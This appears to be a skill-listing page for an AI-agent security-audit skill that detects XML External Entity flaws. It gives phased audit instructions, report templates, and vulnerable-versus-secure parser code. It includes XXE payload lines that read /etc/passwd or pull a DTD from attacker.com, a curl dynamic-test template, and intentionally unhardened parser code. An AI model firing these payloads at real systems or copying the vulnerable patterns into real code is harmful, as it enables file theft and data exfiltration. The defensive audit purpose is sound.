mcpField
S
sast-xxe

sast-xxe

github.com/utkusen安全1.3k68 次安装5 天前更新
代码仓库

关于 sast-xxe

sast-xxe 是用于在代码库中检测 XML 外部实体(XXE)漏洞的安全审计技能。它通过侦察、分批验证输入流和汇总结果开展分析,并要求预先存在 `sast/architecture.md`。

主要功能

  1. 01三阶段 XXE 审计
  2. 02发现 XML 解析位置
  3. 03验证用户输入流向
  4. 04汇总检测结果

适用场景

  1. 01审计上传数据的 XML 解析
  2. 02检查解析器的 XXE 防护
  3. 03追踪用户输入到 XML 解析器

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/utkusen/sast-skills --skill sast-xxe

安装后在 Claude Code 中输入/sast-xxe确认已加载。

详细介绍

XML 外部实体(XXE)检测

你正在进行有针对性的安全评估,以查找代码库中的 XXE 漏洞。此技能采用包含子 Agent 的三阶段方法:侦察(查找未安全禁用外部实体的 XML 解析位置)、分批验证(追踪用户提供的输入是否会到达这些解析器,每批并行处理 3 个)以及合并(将各批次的结果整合为一份报告)。

前提条件:sast/architecture.md 必须存在。如果不存在,请先运行分析技能。


什么是 XXE

当 XML 解析器处理包含外部实体引用的文档,且启用了外部实体解析时,就会发生 XXE。能够提供 XML 输入的攻击者可以利用这一点读取任意本地文件、发起服务器端请求伪造(探测内部网络)、通过实体扩展触发拒绝服务(Billion Laughs),或在某些技术栈中执行操作系统命令。

核心模式:用户控制的 XML 到达未禁用 DTD 处理或外部实体解析的 XML 解析器。

什么情况属于 XXE
  • XML 默认启用了外部实体解析,且未显式加固
  • SYSTEM 实体声明引用 file:// 或 http:// URI:<!ENTITY xxe SYSTEM "file:///etc/passwd">
  • 对于默认启用 DTD 处理的解析器(Java DOM/SAX、PHP SimpleXML/DOMDocument、基于 libxml2 的解析器),未显式禁用 DTD 处理
  • 在 DTD 中注入参数实体:<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;
  • 启用 XInclude 处理时发生 XInclude 注入
  • 通过 XXE 实现 SSRF:使用 http:// 或 https:// 外部实体 URL 访问内部服务
  • 通过带外数据窃取(DNS、向攻击者控制的服务器发起 HTTP 回调)实现盲 XXE
什么情况不属于 XXE

以下情况不要标记为 XXE:

  • 通过 XML 实现 XSS:XML 数据未经转义就作为 HTML 呈现——这是 XSS
  • 通过非 XML 实现 SSRF:由其他机制触发的 HTTP 请求——这是 SSRF
  • 解析完全由服务器控制的 XML 数据:配置文件、捆绑资源、不会受到用户影响的迁移脚本——不可利用
  • 安全的解析器:默认禁用外部实体,且不提供重新启用方式的库(例如 Python 中的 defusedxml,以及 Ruby 中使用默认设置处理不可信输入的 nokogiri)
可防止 XXE 的模式

看到以下模式时,解析器很可能不存在漏洞:

1. 禁用 DTD / 外部实体(Java DOM)

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

2. 禁用外部实体(Java SAX)

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

3. 禁用外部实体(Java StAX / XMLInputFactory)

XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

4. Python — defusedxml(始终安全)

import defusedxml.ElementTree as ET
tree = ET.parse(source)  # external entities, DTD, entity expansion all blocked

5. Python — lxml,设置 resolve_entities=False

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)

6. PHP — libxml_disable_entity_loader(PHP < 8.0)/ LIBXML_NONET 标志

libxml_disable_entity_loader(true);   // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET);  // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them

7. .NET — XmlReaderSettings,设置 DtdProcessing.Prohibit

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

8. Node.js — xml2js(在 v0.5+ 中默认安全)

const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);

易受攻击与安全示例

Python — 标准库 xml.etree.ElementTree(在 CPython < 3.8 中默认易受攻击 / expat 特殊行为)
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
    xml_data = request.body
    tree = ET.fromstring(xml_data)   # no hardening — expat may resolve entities
    return process(tree)

# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
    xml_data = request.body
    tree = ET.fromstring(xml_data)   # defusedxml blocks all XXE vectors
    return process(tree)
Python — lxml
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
    data = request.body
    tree = etree.fromstring(data)    # external entities resolved, network access allowed
    return render(tree)

# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
    data = request.body
    parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
    tree = etree.fromstring(data, parser)
    return render(tree)
Java — DocumentBuilder(DOM)
// VULNERABLE: default DocumentBuilder resolves external entities
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(new InputSource(new StringReader(xml)));
    return ResponseEntity.ok(process(doc));
}

// SECURE: disable DTD and external entity features
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    dbf.setExpandEntityReferences(false);
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(new InputSource(new StringReader(xml)));
    return ResponseEntity.ok(process(doc));
}
Java — SAXParser
// VULNERABLE: default SAXParser allows external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

// SECURE: disable external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
Java — XMLInputFactory(StAX)
// VULNERABLE: default XMLInputFactory supports external entities
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);

// SECURE: disable external entity support
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
PHP — SimpleXML / DOMDocument
// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
    return simplexml_load_string($xml);  // resolves external entities
}

// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
    $doc = new DOMDocument();
    $doc->loadXML($xml);   // external entities enabled by default
    return $doc;
}

// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
    libxml_disable_entity_loader(true);
    $doc = new DOMDocument();
    $doc->loadXML($xml, LIBXML_NONET);
    return $doc;
}
.NET — XmlDocument / XmlTextReader
// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream);   // external entities resolved

// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);

// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;   // disables external entity resolution
doc.Load(stream);

// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);
Node.js — libxmljs
// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
    const doc = libxml.parseXmlString(req.body);
    res.send(doc.toString());
});

// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser
Ruby — Nokogiri
# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
  Nokogiri::XML(xml_input) { |config| config.noent }
end

# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
  Nokogiri::XML(xml_input)
end
Go — encoding/xml
// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"

func parseXML(data []byte) {
    doc := etree.NewDocument()
    doc.ReadFromBytes(data)   // check library's entity resolution behaviour
}

// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.

执行

此技能使用子 Agent 分三个阶段运行。将 sast/architecture.md 的内容作为上下文传递给所有子 Agent。

阶段 1:查找易受攻击的 XML 解析位置

启动一个子 Agent,并向其提供以下指令:

目标:找出代码库中所有未明确禁用外部实体解析的 XML 解析位置。将结果写入 sast/xxe-recon.md。

背景:你将获得项目的架构摘要。请据此了解技术栈、使用的 XML 库以及任何接受 XML 的端点。

需要搜索的内容——易受攻击的 XML 解析模式:

标记任何未同时就近进行配对加固(禁用 DTD/外部实体功能)的 XML 解析调用。此阶段暂不追踪输入是否由用户控制,那是第 2 阶段的工作。

  1. Python——标准库解析器(除非使用 defusedxml 作为直接替代,否则均需标记):
    • xml.etree.ElementTree.parse(...)、ET.fromstring(...)、ET.iterparse(...)
    • xml.dom.minidom.parseString(...)、xml.dom.minidom.parse(...)
    • xml.sax.parseString(...)、xml.sax.parse(...)
    • xmltodict.parse(...)(基于 expat——通常不会受到实体扩展攻击,但仍需标记以供审查)
  2. Python——lxml(除非设置了 resolve_entities=False 和 no_network=True,否则均需标记):
    • etree.parse(...)、etree.fromstring(...)、etree.XML(...)
    • 未设置 resolve_entities=False 的 etree.XMLParser(...)
    • objectify.parse(...)、objectify.fromstring(...)
  3. Java——实例化以下对象但未设置相应加固功能的,均需标记:
    • DocumentBuilderFactory.newInstance() → newDocumentBuilder() → parse(...)
    • SAXParserFactory.newInstance() → newSAXParser() → parse(...)
    • XMLInputFactory.newInstance() → createXMLStreamReader(...)
    • TransformerFactory.newInstance() → newTransformer() 与 XML 源一起使用
    • SchemaFactory.newInstance(...) → newSchema(...)
    • Spring:使用 Jaxb2Marshaller 的 MarshallingHttpMessageConverter,且未禁用实体扩展
  4. PHP——未在调用前立即使用 libxml_disable_entity_loader(true)(PHP 7.x),或未使用 LIBXML_NONET 标志(PHP 8.x)的,均需标记:
    • simplexml_load_string(...)、simplexml_load_file(...)
    • DOMDocument::loadXML(...)、DOMDocument::load(...)
    • 使用 xml_parser_create() 的 xml_parse(...)
    • 使用原始字符串的 SimpleXMLElement::__construct(...)
  5. .NET——未设置 DtdProcessing.Prohibit 和 XmlResolver = null 的,均需标记:
    • new XmlDocument() 后调用 .Load(...) 或 .LoadXml(...)
    • new XmlTextReader(...)(旧版——较早版本的 .NET 默认启用 DTD)
    • XPathDocument(...)、XDocument.Load(...)、XElement.Load(...)
    • 未使用 XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit } 的 XmlReader.Create(...)
  6. Node.js——在解析不可信输入时,标记以下库的使用情况:
    • libxmljs.parseXmlString(...)、libxmljs.parseXml(...)
    • node-expat 解析器实例化
    • sax.createStream(...) / sax.parser(...)——检查是否使用了实体扩展
    • xml2js.parseString(...)——v0.5+ 通常是安全的;仅在 explicitArray 或其他选项表明使用较旧版本或重新启用了实体扩展时标记
  7. Ruby——在启用实体扩展的选项下使用时,标记以下情况:
    • Nokogiri::XML(input) { |config| config.noent }——noent 会启用实体替换
    • REXML::Document.new(input)——REXML 易受实体扩展 DoS 攻击;检查是否使用了实体扩展
    • LibXML::XML::Document.string(input)——检查实体选项
  8. Go——标记支持实体解析的第三方 XML 库:
    • 使用 github.com/beevik/etree——检查是否配置了网络/实体解析
    • 标准库 encoding/xml 通常是安全的(不会解析外部实体)——仅在与自定义实体处理结合使用时标记

跳过以下情况(这些模式是安全的,不要标记):

  • 使用 import defusedxml 作为 XML 解析器(Python)
  • etree.XMLParser(resolve_entities=False, no_network=True)(lxml)
  • Java DocumentBuilderFactory 已将 disallow-doctype-decl 功能设为 true
  • Java XMLInputFactory 已将 IS_SUPPORTING_EXTERNAL_ENTITIES = false
  • .NET XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }
  • 默认使用 Nokogiri,且未使用 noent 或其他实体扩展选项
  • 解析完全静态、随项目打包且不受用户影响的 XML 文件(例如启动时从磁盘读取配置,且不涉及任何用户输入)

输出格式——写入 sast/xxe-recon.md:

# XXE 侦察:[项目名称]

## 摘要
发现 [N] 处未显式加固外部实体的 XML 解析位置。

## 易受攻击的解析位置

### 1. [描述性名称——例如,“上传处理程序中的 lxml.etree.fromstring 未设置 resolve_entities=False”]
- **文件**:`path/to/file.ext`(第 X-Y 行)
- **函数/端点**:[函数名称或路由]
- **解析器/库**:[例如 lxml etree / Java DocumentBuilder / PHP DOMDocument]
- **缺失的加固措施**:[缺失的保护措施——例如,“未将 resolve_entities 设为 False”、“未设置 disallow-doctype-decl 功能”]
- **输入变量**:`var_name` — [简要说明其可能来源,例如“HTTP 请求正文”、“文件上传内容”或“来源未知”]
- **代码片段**:

[XML 解析调用及其上下文]


[每处位置重复此格式]
阶段之间:检查侦察结果

阶段 1 完成后,读取 sast/xxe-recon.md。如果摘要指出未发现任何易受攻击的解析位置(或文件中“易受攻击的解析位置”下没有条目),不要启动阶段 2 或阶段 3。改为将以下内容写入 sast/xxe-results.md,删除 sast/xxe-recon.md,然后停止:

No vulnerabilities found.

只有在侦察输出中识别出至少一个易受攻击的解析位置时,才继续执行阶段 2。

阶段 2:验证 — 跟踪用户输入(分批处理)

阶段 1 完成后,读取 sast/xxe-recon.md,并将“易受攻击的解析位置”下的条目拆分为每批最多 3 个位置(使用带编号的 ### 小节:### 1.、### 2. 等)。为每批并行启动一个子 Agent。每个子 Agent 仅跟踪分配给自己的位置中的污点,并将结果写入各自的批次文件。

分批流程(由你这个协调者执行,而不是子 Agent):

  1. 读取 sast/xxe-recon.md 并统计带编号的位置小节(### 1.、### 2. 等)。
  2. 将它们拆分为每批最多 3 个位置。例如,8 个位置 → 3 批(1-3、4-6、7-8)。
  3. 从侦察文件中提取每批对应位置小节的完整文本。
  4. 并行启动所有批次子 Agent,并只向每个子 Agent 提供分配给它的条目。
  5. 每个子 Agent 将结果写入 sast/xxe-batch-N.md,其中 N 为从 1 开始的批次编号。
  6. 根据 sast/architecture.md 确定项目的主要语言/框架,并从上方的“易受攻击与安全示例”部分中仅选择匹配的示例。例如,如果项目使用 Java 和 DocumentBuilder,则只包含与 Java 相关的示例。按下方 [TECH-STACK EXAMPLES] 所示,将这些选定的示例加入每个子 Agent 的指令中。

向每个批次子 Agent 提供以下指令(替换为对应批次的值):

目标:针对每个分配到的易受攻击 XML 解析点,确定用户提供的值是否会到达 XML 解析器。我们的目标是查找 XXE 漏洞。将结果写入 sast/xxe-batch-[N].md。

分配给你的解析点(来自侦察阶段):

[在此粘贴分配到的站点章节全文,并保留原始编号]

背景:你将获得项目的架构摘要。利用它了解请求入口点、中间件、文件上传处理程序,以及数据如何在应用程序中流动。

XXE 参考——检查要点:

用户控制的 XML 不得到达允许外部实体解析且未经过加固的解析器。追踪每个站点的 XML 输入来源。

对于每个解析点,向上追踪 XML 输入变量的来源:

  1. 直接用户输入——XML 内容直接从请求来源赋值:
    • HTTP 请求正文(尤其是 Content-Type: application/xml 或 text/xml 端点):request.body、req.body、request.data、php://input、HttpContext.Request.Body
    • 文件上传:request.FILES、req.file、multipart/form-data 字段
    • 含有 XML 片段的 HTTP 查询参数或表单字段
    • 引用 XML 资源的 URL 路径参数
  2. 间接用户输入——XML 通过转换或中间步骤派生自用户输入:
    • 使用用户提供的文件路径打开并解析文件
    • 获取用户提供的 URL,并将响应解析为 XML
    • 在解析前将用户输入嵌入 XML 模板(可能注入 XML 结构本身)
    • 通过辅助函数传递的变量——追踪完整调用链
  3. 二阶输入——XML 内容此前已从用户控制的上传或输入存入数据库或文件系统,现在正在被解析:
    • 查明存储内容最初写入的位置——当时是否由用户提供?
    • 写入时是否经过验证或清理?
  4. 服务端/硬编码来源——XML 来自打包资源、启动时加载的配置文件,或不受用户影响的服务端生成内容——此站点不会因用户输入而遭受 XXE 攻击。

对于每个解析点,还要评估其可利用性:

  • 响应是否会返回给调用方?(反射型 XXE——攻击者可以直接读取文件内容)
  • 响应不会返回,但是否能观察到副作用?(盲 XXE——通过 DNS/HTTP 带外通道或错误消息外传数据)
  • 应用是否需要身份验证?(会降低严重性,但不会消除漏洞)
  • 解析器是否用于仅接受特定 XML 架构的场景?(例如 SOAP 信封验证——若启用了 DTD 处理,仍可利用)

适用于本项目技术栈的易受攻击与安全示例:

[TECH-STACK EXAMPLES]

分类:

  • 易受攻击:有明确证据表明用户输入会到达 XML 解析器,且解析器未针对外部实体进行加固。响应或带外通道允许数据外传。
  • 可能易受攻击:用户输入可能会到达解析器(间接数据流),或者解析器未加固,但利用路径部分不明确。
  • 不易受攻击:XML 来源完全由服务端控制,或解析器已正确加固(禁用 DTD、禁用外部实体)。
  • 需要人工审查:无法有把握地确定输入来源,或加固配置较复杂,需要运行时验证。

输出格式——写入 sast/xxe-batch-[N].md:

# XXE 批次 [N] 结果

## 发现

### [易受攻击] 描述性名称
- **文件**:`path/to/file.ext`(第 X-Y 行)
- **端点/函数**:[路由或函数名称]
- **问题**:[例如,“HTTP 请求正文直接流入 lxml etree.fromstring,且未设置 resolve_entities=False”]
- **污点追踪**:[从入口点到解析调用的逐步追踪——例如,“request.body → xml_data → etree.fromstring(xml_data)”]
- **解析器**:[库名称及已知版本]
- **可利用性**:[反射型/盲带外/仅 DoS——说明攻击者能实现什么]
- **影响**:[例如,“通过 file:// 实体读取任意本地文件”,“通过 http:// 实体向内部服务发起 SSRF”,“通过实体扩展导致 DoS”]
- **修复建议**:[具体修复方式——例如,“使用 defusedxml”,“设置 resolve_entities=False 和 no_network=True”,“将 disallow-doctype-decl 特性设为 true”]
- **动态测试**:

[用于确认该发现的 curl 命令或载荷。 显示确切的端点、Content-Type 标头和 XXE 载荷。 示例: curl -X POST https://app.example.com/api/import
-H "Content-Type: application/xml"
-d ']>&xxe;' 检查响应正文中是否包含 /etc/passwd 的内容。]


### [可能易受攻击] 描述性名称
- **文件**:`path/to/file.ext`(第 X-Y 行)
- **端点/函数**:[路由或函数名称]
- **问题**:[例如,“XML 来源可能是通过辅助函数传入的用户上传文件”,或“解析器未加固,但输入路径不完全明确”]
- **污点追踪**:[尽力追踪,并指出不确定的步骤]
- **风险点**:[说明为何尽管存在不确定性,仍有风险]
- **修复建议**:[应用适当的解析器加固措施]
- **动态测试**:

[尝试使用的载荷]


### [不易受攻击] 描述性名称
- **文件**:`path/to/file.ext`(第 X-Y 行)
- **端点/函数**:[路由或函数名称]
- **原因**:[例如,“XML 从启动时读取的打包配置文件中获取,不受用户影响”,或“使用 defusedxml 作为解析器”]

### [需要人工审查] 描述性名称
- **文件**:`path/to/file.ext`(第 X-Y 行)
- **端点/函数**:[路由或函数名称]
- **不确定性**:[无法确定输入来源或解析器配置的原因]
- **建议**:[需要人工追踪的内容——例如,“跟踪 xml_utils.py 中的 `load_document()`,确认其参数是否来自用户请求”]
阶段 3:合并 — 汇总批次结果

所有阶段 2 批次子 Agent 全部完成后,读取每个 sast/xxe-batch-*.md 文件,并将它们合并到单个 sast/xxe-results.md 中。由你(协调者)直接完成此操作 — 无需子 Agent。

合并步骤:

  1. 读取所有 sast/xxe-batch-1.md、sast/xxe-batch-2.md……文件。
  2. 收集每个批次文件中的所有发现并合并为一个列表,同时保留原始分类和所有详细字段。
  3. 汇总所有批次的总数,用于执行摘要。
  4. 使用以下格式将合并后的报告写入 sast/xxe-results.md:
# XXE Analysis Results: [Project Name]

## Executive Summary
- Parsing sites analyzed: [total across all batches]
- Vulnerable: [N]
- Likely Vulnerable: [N]
- Not Vulnerable: [N]
- Needs Manual Review: [N]

## Findings

[All findings from all batches, grouped by classification:
 VULNERABLE first, then LIKELY VULNERABLE, then NEEDS MANUAL REVIEW, then NOT VULNERABLE.
 Preserve every field from the batch results exactly as written.]
  1. 写入 sast/xxe-results.md 后,删除所有中间文件:sast/xxe-recon.md 和 sast/xxe-batch-*.md。

重要提醒

  • 读取 sast/architecture.md,并将其内容作为上下文传递给所有子 Agent。
  • 阶段 2 必须在阶段 1 完成后运行 — 它依赖侦察结果。
  • 阶段 3 必须在所有阶段 2 批次完成后运行 — 它依赖所有批次的输出。
  • 每个子 Agent 的批次大小为 3 个解析位置。如果总共只有 1-3 个位置,则使用单个子 Agent。如果有 10 个位置,则使用 4 个子 Agent(3+3+3+1)。
  • 并行启动所有批次子 Agent — 不要按顺序运行。
  • 每个批次子 Agent 只接收侦察文件中分配给它的位置文本,而不是整个侦察文件。这样可以让每个子 Agent 的上下文更精简、更聚焦。
  • 阶段 1 纯粹进行结构分析:标记任何缺少显式外部实体防护的 XML 解析调用,不论输入来自何处。阶段 1 不要尝试追踪用户输入 — 这是阶段 2 的任务。
  • 阶段 2 纯粹进行污点分析:针对阶段 1 发现的每个位置,追踪 XML 输入的来源。如果输入来自用户可控来源,则该位置构成真实漏洞。
  • 解析器默认行为很重要:Java DOM/SAX、PHP SimpleXML/DOMDocument 和 lxml 默认都会解析外部实体 — 必须显式进行防护。Python 的 defusedxml 和 Go 的 encoding/xml 默认是安全的。
  • 不要将 LIBXML_NOENT 误认为防护措施:在 PHP 中,LIBXML_NOENT 会将实体展开为其值 — 它不会禁用实体加载。只有 libxml_disable_entity_loader(true) 或 LIBXML_NONET 能提供网络实体防护。
  • XInclude 是一种独立攻击途径:如果 Java 解析器启用了 XIncludeAware 处理,或者其他地方处理了 xi:include,则应单独标记 — 它无需经典的 ENTITY 声明即可读取本地文件。
  • 有疑问时,应归类为“需要人工审查”,而不是“无漏洞”。在安全评估中,漏报比误报更糟。
  • 污点可能间接传播:文件上传可能在一个处理程序中保存到磁盘,然后在另一个后台任务中解析。应追踪包括异步处理路径在内的完整链路。
  • 无回显 XXE(响应中没有输出)仍可通过 DNS 或 HTTP 回调利用,回调目标可以是攻击者控制的服务。不要仅仅因为解析后的 XML 没有回显,就忽略某项发现。
  • 清理中间文件:写入最终的 sast/xxe-results.md 后,确保删除 sast/xxe-recon.md 和所有 sast/xxe-batch-*.md 文件(零发现提前退出时,只删除 sast/xxe-recon.md)。

评论

支持 Markdown